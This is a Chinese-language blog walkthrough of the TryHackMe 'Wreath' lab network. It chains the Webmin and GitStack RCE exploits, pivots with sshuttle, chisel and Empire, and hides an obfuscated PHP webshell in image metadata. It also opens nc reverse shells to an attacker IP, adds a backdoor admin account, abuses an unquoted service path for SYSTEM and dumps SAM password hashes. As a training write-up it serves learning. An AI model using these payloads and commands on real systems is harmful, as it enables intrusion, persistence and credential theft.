首页 > 其他分享 >tryhackme-wreath

tryhackme-wreath

时间:2023-02-19 21:14:36浏览次数:53  
标签:yyds exe chisel wreath 端口 10.200 上传 tryhackme

10.200.87.200 -> 10.200.87.150 -> 10.200.87.100

通过扫描10.200.87.200发现其10000端口上开放了webmin服务
image
查询历史漏洞发现了一个远程命令执行漏洞CVE-2019-15107

git clone https://github.com/MuirlandOracle/CVE-2019-15107

获取到root权限的webshell,通过/root/.ssh/id_rsa复制私钥,到自己的文件上。实现私钥登录
image

继续,先不搭建代理,先上传一个静态版本的nmap进行扫描,发现了C段100和150.但100扫描端口时全返回过滤,所以这里可能对200的机器做了屏蔽。这里用nmap比ping识别效果搞更全面。
对150进行端口扫描,发现其有80、3389、5985
对其80端口进行查看,发现存在gitstack服务,对其历史漏洞进行查询,发现一个远程的rce。

searchsploit gitstack

复制到当前目录

searchsploit -m 43777

修改其中的IP。并且发现该漏洞利用文件是上传一个 webshell再连接的
image

image

由于150的IP只能200访问,所以使用sshuttle来代理转发。

sshuttle -r [email protected] --ssh-cmd "ssh -i ./aukey" 10.200.87.0/24

image

转发完成后,可以发现在kali也能正常访问150IP能访问的东西。由于在扫端口时发现150IP是windows操作系统,所以使用Empire C2来进行后面的操作。启动empire的gui界面。
启动服务器

sudo powershell-empire server

启动GUI界面

starkiller

由于empire无法通过其他代理进行连接。所以得自己做中转。
先在200IP的机器上为要监听的端口开放防火墙策略

firewall-cmd --zone=public --add-port 23234/tcp

创建http hop监听器
image

该步骤创建后,会在/tmp目录下生成一个http服务器项目,将该文件打包成zip,并通过ssh下载到200的服务器。

cd /tmp/http_hop && zip -r hop.zip *

ssh连上后

mkdir /tmp/hop-yyds/
cd /tmp/hop-yyds/
curl 10.50.88.30/hop.zip -o hop.zip
unzip hop.zip

开启php的服务来做转发

php -S 0.0.0.0:23234 &>/dev/null &

创建multi/launcher stagers
image

复制stagers到BP中,对150IP进行发包。
image

获得反弹的shell
image

获取当前计算机的用户的hash值,并解出账号密码

Thomas
i<3ruby

由于是系统权限,所以直接创建一个用户,并加入到管理员组、远程访问组中。

net user yyds yyds /add

net localgroup Administrators yyds /add  
net localgroup "Remote Management Users" yyds /add

image

使用empire框架的module,进行端口扫描
image

发现100IP开放了80和3389端口
image

所以针对100IP的80端口进行转发。在200IP上传一个chisel,在250IP上传一个chisel,然后使用远程端口转发,将100IP的80端口转发到200IP上的22223上。

curl 10.50.88.30/chisel -o chisel

由于empire上传文件限制1M,所以使用rdp或者winrm进行上传。使用evil-winrm连上后上传文件。

evil-winrm -u yyds -p yyds -i 10.200.87.150

image

upload LOCAL_FILEPATH REMOTE_FILEPATH

upload /home/kali/Desktop/CVE-2019-15107/chisel_1.7.7_windows_amd64 C:\Users\yyds\Documents\chisel.exe

【使用socks代理的时候需要开,使用端口转发就只用在200IP上开firewall】在150IP上开放端口,使用empire,权限更高一点

netsh advfirewall firewall add rule name="chisel-yyds" dir=in action=allow protocol=tcp localport=22223

在200IP上启动监听服务

#开防火墙
firewall-cmd --zone=public --add-port 22223/tcp

./chisel server -p 22223 --reverse

在150IP上启动客户端,去连接服务端的22223端口,让10.200.87.100:80数据导向服务端的22224端口

./chisel.exe client 10.200.87.200:22223 R:22224:10.200.87.100:80

然后访问kali的浏览器
10.200.87.200:22224
并获取到服务器脚本语言为php
image

由于与10.200.87.200:80页面相似,猜测为副本。并在windows上的c://gitstack中找到gitstack。

dir *.git -recurse

使用evil-winRm下载文件太慢了,使用empire打包成zip再下载。
然后下载GitTools,获取仓库的信息

git clone https://github.com/internetwache/GitTools
/home/kali/Desktop/CVE-2019-15107/GitTools/Extractor/extractor.sh . website

image

通过分析index.php,发现是个文件上传点,并且可以绕过
后缀和getimagesize()

image

且进入/resources/需要权限认证,使用前面获得到的密码登录后上传shell
首先使用exiftool向图片中加入混淆后的木马信息。使用PHP Obfuscator进行混淆

<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>
exiftool -Comment="<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>"  smile-yyds.png.php

然后上传文件,执行命令
image

再下载一个其他人修改过后的nc

git clone https://github.com/int0x33/nc.exe/

通过python http上传上去(certutil)会被AV标记为病毒行为,然后执行

curl http://10.50.88.30/nc64.exe -o c:\\windows\\temp\\nc-USERNAME.exe
powershell.exe c:\\windows\\temp\\nc-MuirlandOracle.exe 10.50.88.30 443 -e cmd.exe

开启nc监听

nc -lvnp 443

获得shell
image

准备提权操作
查看用户权限

whoami /priv

用户组权限

whoami /groups

寻找非默认服务过滤掉在C:\Windows路径的服务

wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

发现未用引号包裹的服务
image

查询运行该服务的账户

sc qc SystemExplorerHelpService

发现由本地系统账户运行
image

查看该服务路径是否有可写权限

powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

发现所有用户都可写
image

于是编写一个C#,并编译成exe去替换,然后再重启服务,以高权限来运行自己编译的exe。该exe相当于去调用nc进行一个反向连接

using System.Diagnostics;  
  
namespace Wrapper{  
    class Program{  
        static void Main(){  
            Process proc = new Process();  
            ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-yyds.exe", "10.50.88.30 443 -e cmd.exe");  
            procInfo.CreateNoWindow = true;  
            proc.StartInfo = procInfo;  
            proc.Start();  
        }    }}

编译好后,使用smb服务进行传输。使用impacket中的脚本来辅助

sudo git clone https://github.com/SecureAuthCorp/impacket /opt/impacket && cd /opt/impacket && sudo pip3 install .
sudo python3 /opt/impacket/examples/smbserver.py share . -smb2support -username yyds -password yyds

在反弹shell中执行连接攻击机的smb

net use \\10.50.88.30\share /user:yyds yyds

复制

copy \\10.50.88.30\share\yyds.exe %TEMP%\wrapper-yyds.exe

执行测试,在kali上开个监听

"%TEMP%\wrapper-yyds.exe"

发现是没有被拦截的,正常返回shell

用完smb就关,防止重连时出错

net use \\ATTACKER_IP\share /del

windows未引用服务路径漏洞

如果 Windows 中的路径包含空格并且没有被引号包围(例如C:\Directory One\Directory Two\Executable.exe),则 Windows 将按以下顺序查找可执行文件:

  1. C:\Directory.exe
  2. C:\Directory One\Directory.exe
  3. C:\Directory One\Directory Two\Executable.exe

所以将exe复制进目录

copy %TEMP%\wrapper-USERNAME.exe "C:\Program Files (x86)\System Explorer\System.exe"

停止服务

sc stop SystemExplorerHelpService

启动服务

sc start SystemExplorerHelpService

可以发现反弹shell成功,且权限为系统权限
image

然后就是收集敏感信息,收集管理员的hash值
sam放在C:\Windows\System32\Config\SAM

reg.exe save HKLM\SAM sam.bak

system配置文件

reg.exe save HKLM\SYSTEM system.bak

也可以用smb传回去

reg.exe save HKLM\SAM \\ATTACKING_IP\share\sam.bak

然后再通过secretsdump.py导出hash

python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

image

可以发现管理员的NT哈希为

a05c3c807ceeb48c47252568da284cd2

导出的hash格式为
用户名:RID:LM 哈希:NT 哈希
NT哈希为31d6cfe0d16ae931b73c59d7e0c089c0时,表示空哈希。

标签:yyds,exe,chisel,wreath,端口,10.200,上传,tryhackme
From: https://www.cnblogs.com/jarwu/p/17135576.html

相关文章

  • USTOUN TryHackMe 撰写/演练
    USTOUNTryHackMe撰写/演练USTOUNTryHackMe文章级别:中|操作系统:Windows这是一篇关于乌斯顿试试HackMe机器。扫描我们执行快速而积极的扫描(不建议在真实环境......